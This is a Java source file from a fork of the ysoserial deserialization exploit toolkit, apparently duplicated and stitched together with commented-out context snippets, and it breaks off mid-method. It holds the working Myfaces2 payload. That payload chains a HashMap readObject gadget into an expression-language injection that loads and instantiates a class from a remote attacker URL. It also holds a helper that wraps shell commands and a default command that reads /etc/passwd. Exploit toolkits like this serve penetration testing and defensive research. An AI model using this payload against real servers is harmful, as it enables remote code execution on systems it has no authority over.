// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
// 	
// 	private String terminalType;
// 	
// 	private String[] commandArray;
// 	
// 	private String command;
// 
// 	public CmdExecuteHelper(String terminalType, String command) {
// 		super();
// 		this.terminalType = terminalType;
// 		this.command = command;
// 		
// 		switch (terminalType) {
// 		case "cmd":
// 			this.commandArray = new String[]{"cmd.exe","/c", command};
// 			break;
// 		case "bash":
// 			this.commandArray = new String[]{"/bin/bash","-c", command};
// 			break;
// 		case "powershell":
// 			this.commandArray = new String[]{"powershell.exe","-c", command};
// 			break;
// 		default:
// 			this.commandArray = new String[]{command};
// 			break;
// 		}
// 	}
// 
// 	public String[] getCommandArray() {
// 		return commandArray;
// 	}
// 
// 	public void setCommandArray(String[] commandArray) {
// 		this.commandArray = commandArray;
// 	}
// 
// 	public String getCommand() {
// 		return command;
// 	}
// 
// 	public void setCommand(String command) {
// 		this.command = command;
// 	}
// 
// 	public String getTerminalType() {
// 		return terminalType;
// 	}
// 
// 	public void setTerminalType(String terminalType) {
// 		this.terminalType = terminalType;
// 	}
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// 	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 		// ensure payload generation doesn't throw an exception
// 		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// 			public byte[] call() throws Exception {
// 				final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
// 
// 				System.out.println("generating payload object(s) for command: '" + command + "'");
// 				
// 				CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
// 				
// 				ObjectPayload<?> payload = clazz.newInstance();
//                 final Object objBefore = payload.getObject(cmdHelper);
// 
// 				System.out.println("serializing payload");
// 				byte[] ser = Serializer.serialize(objBefore);
// 				Utils.releasePayload(payload, objBefore);
//                 return ser;
// 		}});
// 
// 		try {
// 			System.out.println("deserializing payload");
// 			final Object objAfter = Deserializer.deserialize(serialized);
// 		} catch (Exception e) {
// 			e.printStackTrace();
// 		}
// 
// 	}
// 
// }


import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads;





/**
 * 
 * ValueExpressionImpl.getValue(ELContext)
 * ValueExpressionMethodExpression.getMethodExpression(ELContext)
 * ValueExpressionMethodExpression.getMethodExpression()
 * ValueExpressionMethodExpression.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)
 * 
 * Arguments:
 * - base_url:classname
 * 
 * Yields:
 * - Instantiation of remotely loaded class
 * 
 * Requires:
 * - MyFaces
 * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
 * 
 * @author mbechler
 */
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
    
    public static String[] getDependencies () {
        return Myfaces1.getDependencies();
    }
    

    public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
        int sep = cmdHelper.getCommand().lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = cmdHelper.getCommand().substring(0, sep);
        String className = cmdHelper.getCommand().substring(sep + 1);
        
        // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
        String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
        
        // if we add fewer than the actual classloaders we end up with a null entry
        for ( int i = 0; i < 100; i++ ) {
            expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
        }
        expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
                + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
        
        return Myfaces1.makeExpressionPayload(expr);
    }


    public static void main ( final String[] args ) throws Exception {
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
// 	
// 	private String terminalType;
// 	
// 	private String[] commandArray;
// 	
// 	private String command;
// 
// 	public CmdExecuteHelper(String terminalType, String command) {
// 		super();
// 		this.terminalType = terminalType;
// 		this.command = command;
// 		
// 		switch (terminalType) {
// 		case "cmd":
// 			this.commandArray = new String[]{"cmd.exe","/c", command};
// 			break;
// 		case "bash":
// 			this.commandArray = new String[]{"/bin/bash","-c", command};
// 			break;
// 		case "powershell":
// 			this.commandArray = new String[]{"powershell.exe","-c", command};
// 			break;
// 		default:
// 			this.commandArray = new String[]{command};
// 			break;
// 		}
// 	}
// 
// 	public String[] getCommandArray() {
// 		return commandArray;
// 	}
// 
// 	public void setCommandArray(String[] commandArray) {
// 		this.commandArray = commandArray;
// 	}
// 
// 	public String getCommand() {
// 		return command;
// 	}
// 
// 	public void setCommand(String command) {
// 		this.command = command;
// 	}
// 
// 	public String getTerminalType() {
// 		return terminalType;
// 	}
// 
// 	public void setTerminalType(String terminalType) {
// 		this.terminalType = terminalType;
// 	}
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// 	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 		// ensure payload generation doesn't throw an exception
// 		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// 			public byte[] call() throws Exception {
// 				final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
// 
// 				System.out.println("generating payload object(s) for command: '" + command + "'");
// 				
// 				CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
// 				
// 				ObjectPayload<?> payload = clazz.newInstance();
//                 final Object objBefore = payload.getObject(cmdHelper);
// 
// 				System.out.println("serializing payload");
// 				byte[] ser = Serializer.serialize(objBefore);
// 				Utils.releasePayload(payload, objBefore);
//                 return ser;
// 		}});
// 
// 		try {
// 			System.out.println("deserializing payload");
// 			final Object objAfter = Deserializer.deserialize(serialized);
// 		} catch (Exception e) {
// 			e.printStackTrace();
// 		}
// 
// 	}
// 
// }


// Path: src/main/java/ysoserial/payloads/Myfaces2.java
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;

package ysoserial.payloads;





/**
 * 
 * ValueExpressionImpl.getValue(ELContext)
 * ValueExpressionMethodExpression.getMethodExpression(ELContext)
 * ValueExpressionMethodExpression.getMethodExpression()
 * ValueExpressionMethodExpression.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)
 * 
 * Arguments:
 * - base_url:classname
 * 
 * Yields:
 * - Instantiation of remotely loaded class
 * 
 * Requires:
 * - MyFaces
 * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
 * 
 * @author mbechler
 */
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
    
    public static String[] getDependencies () {
        return Myfaces1.getDependencies();
    }
    

    public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
        int sep = cmdHelper.getCommand().lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = cmdHelper.getCommand().substring(0, sep);
        String className = cmdHelper.getCommand().substring(sep + 1);
        
        // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
        String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
        
        // if we add fewer than the actual classloaders we end up with a null entry
        for ( int i = 0; i < 100; i++ ) {
            expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
        }
        expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
                + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
        
        return Myfaces1.makeExpressionPayload(expr);
    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(Myfaces2.class, args);